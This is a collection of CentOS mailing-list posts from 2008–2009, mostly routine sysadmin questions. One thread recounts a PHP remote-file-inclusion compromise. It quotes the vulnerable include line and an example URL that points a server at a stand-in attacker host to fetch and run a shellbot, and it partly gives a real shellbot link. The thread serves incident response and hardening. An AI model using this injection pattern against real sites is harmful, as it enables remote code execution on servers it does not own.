Re: [CentOS] PHP 5.2 or greater availability

2009-05-18 Thread sbeam
On Monday 18 May 2009 19:46, Kaplan, Andrew H. wrote:
 Is there a repository that has php version 5.2 or greater available for use
 with the Centos 5.3 distribution?
 This includes the development libraries package. Thanks.

Just finished compiling php 5.2.9 from the sprms I found here:
http://oss.oracle.com/projects/php/

works fine despite the slight Oracle smell - but they should really 
make a repository.

Once used Jason Litka's repository but it sees a bit stale now:
http://www.jasonlitka.com/2007/11/16/upgrading-to-php-525-on-rhel-and-centos/

enjoy
Sam

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Re: [CentOS] firefox is incredibly unstable

2008-10-16 Thread sbeam
On Thursday 16 October 2008 07:26, Michael Simpson wrote:
  Ditto here. Have you run an rpm --verify to see if you have corruption
  problems? Have you mixed installs from (possibly conflicting) repos? I
  suspect one of those two. Have you checked your hardware (memtest,
  etc.)? If the system is haeavily loaded, have you checked to see if it's
  a heat related problem?

ok thanks guys, the firefox RPM was normal and the system is solid 64bit, it's 
just Firefox that has problems.

In the past crashes could be triggered just by simple UI interaction, 
scrolling or click/drag, etc. Seemed like any time it would use GTK widgets 
it was on thin ice. I run KDE so I wondered if any other KDE users have this 
problem.

But I am running the mozilla.org binary now, so I can get crashreporter to 
work - but it doesn't...
https://bugzilla.mozilla.org/show_bug.cgi?id=460254

anyway this is not a CentOS issue it seems. But thanks for letting me know.

Sam

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Re: [CentOS] [OT] what crashing means WAS: firefox is incredibly unstable

2008-10-16 Thread sbeam
On Thursday 16 October 2008 12:08, bruce wrote:
 when you're saying crashing, what exactly do you mean?.. is it the app
 that crashes.. is it that your mouse/keyboard no longer works?, is your
 system still running (you can ssh into it), but you can't move your
 mouse???

it crashed, it asploded, it died, went bye bye, sionara, adios, headed for the 
exit

http://en.wikipedia.org/wiki/Crash_(computing)#Application_crashes

that is different than a system hang or a desktop freeze or an app 
freeze which are the other conditions you are describing, and need to be 
resolved by manually killing the offending process or with the power button. 

regards,
Sam
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[CentOS] firefox is incredibly unstable

2008-10-15 Thread sbeam
does anyone else have major probs with Firefox as installed on CentOS5?

ever since the RPM for FF3 came out it has been crashing daily. Usually when I 
use Save As... or Browse... or anything else that brings up the Gnome file 
picker. After the crash I re-start then the file picker works for a while. 

Sometimes it just takes scrolling or click+drag an image or some other random 
action. BANG your'e dead. Very frustrating.

Now today it is just crashing randomly, I am not even touching it. Maybe one 
of my plugins, I know. I guess I will run it with debugger/strace. but does 
anyone else see this?

$ rpm -qa firefox
firefox-3.0.2-3.el5.centos
$ cat /etc/redhat-release
CentOS release 5.2 (Final)
$ rpm -qa kdebase
kdebase-3.5.4-18.el5.centos

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Re: [CentOS] firefox is incredibly unstable

2008-10-15 Thread sbeam
On Wednesday 15 October 2008 13:27, Stephen John Smoogen wrote:
  ever since the RPM for FF3 came out it has been crashing daily. Usually
  when I use Save As... or Browse... or anything else that brings up the
  Gnome file picker. After the crash I re-start then the file picker works
  for a while.

should have mentioned that neither crashreporter nor talkback were coming up. 
Once in a while I get Gnome Bug-Buddy which fails to do anything useful. 
Seems like someone at RH tinkered with mozilla's crash handling


 Not for me. I have had 1 crash in 2 weeks. I would look at doing
 dealing with the usual suspects:

 1) Remove any extra plugins you added.
 2) mv .mozilla .mozilla-bad-$(date -Im) and start over.

 If the problem does not go away then it is some other item that is
 causing the issue.

Well I need my plugins to get work done so I installed the binary from 
mozilla.org in /opt/ and symlinked to that, seems to be better so far. This 
is what I used to do to get the latest version anyway, so if it works will 
just stay this way. If not I'll get on bugzilla and pursue that.

thanks

Sam

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Re: [CentOS] [SOLVED - Sort Of] Installing a new VM on a xen box.

2008-10-09 Thread sbeam
On Thursday 09 October 2008 12:31, nate wrote:
 Now it looks like Red hat has woken up and seen it is
 a dead end too and is moving to KVM as you mentioned.

where did you read this? I have just started with xen too but I don't want to 
be left hanging...

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[CentOS] install Verisign/NetSol CA bundle

2008-09-30 Thread sbeam
I have a client-provided SSL cert that seems to be provided by Verisign but 
issued by my good friends at Network Problems. I thought this was part of 
default cert.pem, but maybe not.

The docs on Verisign's site are... ahem... unhelpful.

I have what I think is the correct CA chain for this cert, but still trying to 
determine what marketing terms overlap with what reality. But how is it to be 
tested?

here is the info ( nj.pem contains the Certificate and the Private Key )

$ openssl verify nj.pem
nj.pem: /C=US/postalCode=9/ST=OH/L=Columbus/streetAddress=4111  
Ave./O=XYZ Inc./OU=Secure Link SSL Pro/CN=xyz.foo.com
error 20 at 0 depth lookup:unable to get local issuer certificate

$ openssl x509 -noout -in nj.pem -issuer
issuer= /C=US/O=Network Solutions L.L.C./CN=Network Solutions Certificate 
Authority

So if append the correct CA certs to my nj.pem, then 'openssl verify' should 
be happy, is this correct?

thanks!

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[CentOS] xen and nvidia

2008-08-15 Thread sbeam
has anyone had any luck getting nvidia to work with the latest xen kernel 
under x86_64? I found an unsupported method involving IGNORE_XEN_PRESENCE 
[1], but it doesn't work for me. Everything google turns up seems to be a 
year old. prob nothing has changed but I just wonder.

[1] http://www.nvnews.net/vbulletin/archive/index.php/t-95483.html

maybe I could I run a xen dom0 under vmware? nah...

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[CentOS] mystery process unit

2008-08-12 Thread sbeam
Ok, dumb question. On a certain LAMP server I am seeing in 'ps auxf' a process 
called unit with no arguments or other path info. It has a fairly low pid, 
3041, indicating it might have been started soon after reboot (last week). 
but ps says it was started yesterday,

I don't see it on any of 3 other CentOS machines. It is hard to google for 
such a generic name. So does anyone either know what it is, or how I can find 
out more about it?

Sam
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Re: [CentOS] mystery process unit

2008-08-12 Thread sbeam
On Tuesday 12 August 2008 09:08, Mr Shunz wrote:
 maybe you should check with lsof -p 3041 and see which files/pipes it
 uses to have a clue.

of course! slap

it's a perl w0rm that was uploaded last night, now killed. Now to determine 
how it got in.

I found some output in the main apache error log that looks like wget was used 
to download a shellbot. But I can't figure out how wget was called, may be 
some PHP exec() call that is unchecked. 

But I can't find it on the system yet or the data files it uses.

chkrootkit says all is clear.

mod_security is now being installed, belatedly. This server has only been up 1 
week, sheesh.

thanks
Sam



PS here is the link to the shellbot that was used, in case anyone is curious. 
I break up the URL to protect the innocent:

http://usuaBREAKrios.lycos.es/BREAKw0rms/info.txt

have searched it and don't find anything special on the main security sites. 
Is it new?
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Re: [CentOS] mystery process unit

2008-08-12 Thread sbeam
On Tuesday 12 August 2008 10:16, Rainer Duffner wrote:
 Anything in /tmp ?

 Disable register_globals and allow_url_fopen.
 Set open_basedir for any virtual hosts to the absolute minimum.

allow_url_fopen was enabled on one of many sites. A developer put in an unsafe 
php include(). This allowed the w0rm to run a remote PHP script which used 
exec() to fetch and spawn the shellbot. Pretty standard. But it also did a 
decent job of removing itself from the filesystem. Lucky I noticed the weird 
process this morning, no harm done it seems.

I have mod_security installed now, but I tested a similar attack, and sadly, 
it still succeeds as long as allow_url_fopen is on. But this is not CentOS 
related.

cheers
Sam
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Re: [CentOS] mystery process unit

2008-08-12 Thread sbeam
On Tuesday 12 August 2008 12:18, Rainer Duffner wrote:
 (I think it requires both register_globals and allow_url_fopen to be on,
 but I'm not sure if you can't get it to work with only allow_url_fopen)

as I just found out, it can, as long as the PHP developer was even more naive 
than usual. The offending line was:

require_once($_SERVER['DOCUMENT_ROOT']./db.inc.php);

then a request like:

http://victim.com/index.php?_SERVER[DOCUMENT_ROOT]=http://badguysit
e.es/bot.txt

will do a fopen() for http://badguysite.es/bot.txt/db.inc.php;, which is good 
enough.

And yeah this works with register_globals off, which surprised me. And also 
surprised that mod_security has no problem with that URL. I am going to raise 
the issue with them.

cheers
Sam

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Re: [CentOS] mystery process unit

2008-08-12 Thread sbeam
On Tuesday 12 August 2008 13:39, Jeff Kinz wrote:
 If you don't mind I would like to use it as a real world example for a
 class I'm teaching?  I will remove all the identifying information
 first of course.

Sure go right ahead.

Unfortunately I have tons of real world examples... :/

cheers
Sam
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Re: [CentOS] mystery process unit

2008-08-12 Thread sbeam
On Tuesday 12 August 2008 15:44, Jancio Wodnik wrote:
 Hm. And what about selinux and httpd ? Selinux is securing httpd from
 this attacks, right ? Selinux was disabled ?

good point, SElinux is set to permissive on this system because we had to get 
up and running in a hurry and support a lot of legacy apps that do unusual 
things. apache needs to read/write various config and include files that are 
in non-standard locations. We tried it enabled and nothing worked.

in the audit.log I am seeing where it wanted to deny the bot a tcp_socket. So 
that would have been good :/

Maybe enabling selinux but leaving httpd opened up would be appropriate for 
the time being. Is that possible or advisable? audit2allow wants to allow a 
lot of things.

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Re: [CentOS] drbd strategy

2008-06-01 Thread sbeam
Thanks guys for the info. I understand that the secondary machine needs a /var 
too while in standby, and since it can't also mount it as part of the DRBD 
array, then it has to be a vanilla partition on both machines. Thanks for 
clearing that up.

On Saturday 31 May 2008 09:28, Filipe Brandenburger wrote:
 You would be better off by using a DRBD partition for /var/lib/mysql
 and leaving the rest of /var out of DRBD.

But DRBD only replicates entire physical devices right? So I would have to 
re-partition... if so I can't do that.

But we could move mySQL files to /home or something as well. Not pretty but it 
should work.
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[CentOS] drbd strategy

2008-05-31 Thread sbeam
I have an existing in-production LAMP server running Centos 5.1. It uses 
physical partitions on top of hardware RAID1, having / /home /var and /boot 
on separate partitions.

We have a near-identical system I am thinking of bringing in as a 
DRBD/Heartbeat companion. One solution may be to use csync2 
[http://oss.linbit.com/csync2/] on /etc and /usr/local (the only areas that 
will differ from the stock CentOS). Then setup DRBD for /home and /var.

From reading the docs it seems we have to use external meta data on the 
existing partitions. Other than that, anyone have any caveats or better ideas 
for this setup?

Also - each has 2 NICs. Can Heartbeat do its pinging over the WAN (eth0) with 
eth1 dedicated to DRBD only? Is that how it is supposed to be, or should we 
use the serial ports?

Sam
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Re: [CentOS] Fault tolerance with webservers

2008-05-27 Thread sbeam
Interested in this discussion too, for reasons recently discussed...

On Tuesday 27 May 2008 09:07, Fajar Priyanto wrote:
 For a starter, there is a very simple tool for this.
 It's http://www.inlab.de/balance.html

 2. RedHat Cluster Suite dan Piranha (http://www.redhat.com)
 3. Linux Virtual Server (http://www.linuxvirtualserver.org)

Do all of these (or IPVS or Cluster Suite/GFS) take care of real-time sharing 
of storage (sessions, database, files, logs) between all nodes? For a LAMP or 
JEE or any other HTTP stack serving anything but readonly static files, this 
is usually a requirement. 

GFS is for sharing filesystem I know and there are howtos. So would you put 
Balance or LVS on top of GFS, or...

Would HA/DRBD be on the short list? http://www.drbd.org/ in our case we have a 
two-node cluster anyway so this seems like the most straightforward option. 
Or would something else be superior, more up-to-date?

Sam
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